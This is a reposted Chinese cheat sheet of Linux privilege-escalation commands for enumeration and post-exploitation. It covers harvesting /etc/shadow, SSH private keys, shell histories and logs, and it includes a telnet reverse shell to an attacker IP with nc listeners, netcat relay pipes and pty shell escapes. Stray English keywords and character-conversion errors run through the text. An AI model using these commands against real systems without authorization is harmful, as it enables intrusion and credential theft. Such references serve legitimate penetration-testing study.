linux 提權信息收集與命令

在本文開始以前,我想指出我不是專家。據我所知,在這個龐大的區域,沒有一個「神奇」的答案.php

分享,共享(個人出發點)。
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列舉關鍵點
(Linux)的提權是怎麼一回事:python

  • 收集 – 枚舉,枚舉和一些更多的枚舉。mysql

  • 過程 – 經過數據排序,分析和肯定優先次序。linux

  • 搜索 – 知道搜索什麼和在哪裏能夠找到漏洞代碼。web

  • 適應 – 自定義的漏洞,因此它適合。每一個系統的工做並非每個漏洞「都固定不變」。sql

  • 嘗試 – 作好準備,試驗和錯誤。shell

  • 操做類型數據庫


操做系統是什麼版本?apache

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release


它的內核版本是什麼?

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz


它的環境變量裏有些什麼?

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set


是否有臺打印機?

lpstat -a


  • 應用與服務


正在運行什麼服務?什麼樣的服務具備什麼用戶權限?

ps aux
ps -ef
top
cat /etc/service


哪些服務具備root的權限?這些服務裏你看起來那些有漏洞,進行再次檢查!

ps aux | grep root
ps -ef | grep root


安裝了哪些應用程序?他們是什麼版本?哪些是當前正在運行的?

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/


Service設置,有任何的錯誤配置嗎?是否有任何(脆弱的)的插件?

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/


主機上有哪些工做計劃?

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root


主機上可能有哪些純文本用戶名和密碼?

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla
  • 通訊與網絡


NIC(s),系統有哪些?它是鏈接到哪個網絡?

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network


網絡配置設置是什麼?網絡中有什麼樣的服務器?DHCP服務器?DNS服務器?網關?

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname


其餘用戶主機與系統的通訊?

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w


緩存?IP和/或MAC地址?

arp -e
route
/sbin/route -nee


數據包可能嗅探嗎?能夠看出什麼?監聽流量

# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21


你如何get一個shell?你如何與系統進行交互?

# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
nc -lvp 4444    # Attacker. 輸入 (命令)
nc -lvp 4445    # Attacker. 輸出(結果)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # 在目標系統上. 使用 ***者的IP!


如何端口轉發?(端口重定向)

# rinetd
# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
# fpipe
# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
#ssh
# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port
#mknod
# mknod backpipe p ; nc -l -p [remote port] < backpipe  | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a

outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)


創建隧道可能嗎?本地,遠程發送命令

ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig


  • 祕密信息和用戶


你是誰?哪一個id登陸?誰已經登陸?還有誰在這裏?誰能夠作什麼呢?

id
who
w
last
cat /etc/passwd | cut -d:    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l


能夠找到什麼敏感文件?

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/


什麼有趣的文件在home/directorie(S)裏?若是有權限訪問

ls -ahlR /root/
ls -ahlR /home/


是否有任何密碼,腳本,數據庫,配置文件或日誌文件?密碼默認路徑和位置

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg


用戶作過什麼?是否有任何密碼呢?他們有沒有編輯什麼?

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history


能夠找到什麼樣的用戶信息

cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root


private-key 信息可否被發現?

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key


  • 文件系統


哪些用戶能夠寫配置文件在/ etc /?可以從新配置服務?


ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null      # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null        # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null     # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null          # Other
find /etc/ -readable -type f 2>/dev/null                # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null    # Anyone



 
  

在/ var /有什麼能夠發現?

ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases


網站上的任何隱藏配置/文件?配置文件與數據庫信息?

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/


有什麼在日誌文件裏?(什麼可以幫助到「本地文件包含」?)

# http://www.thegeekstuff.com/2011/08/linux-var-log-files/
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/


若是命令限制,你能夠打出哪些突破它的限制?

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i


如何安裝文件系統?

mount
df -h


是否有掛載的文件系統?

cat /etc/fstab



  • 準備和查找漏洞利用代碼


安裝了什麼開發工具/語言/支持?

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc


如何上傳文件?

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp


查找exploit代碼

http://www.exploit-db.com

http://1337day.com

http://www.securiteam.com

http://www.securityfocus.com

http://www.exploitsearch.net

http://metasploit.com/modules/

http://securityreason.com

http://seclists.org/fulldisclosure/

http://www.google.com

例如

http://www.0daysecurity.com/penetration-testing/enumeration.html

http://www.microloft.co.uk/hacking/hacking3.htm

其餘

http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf

http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf

http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html


本文轉載自91ri.org

原文地址:http://www.91ri.org/7459.html

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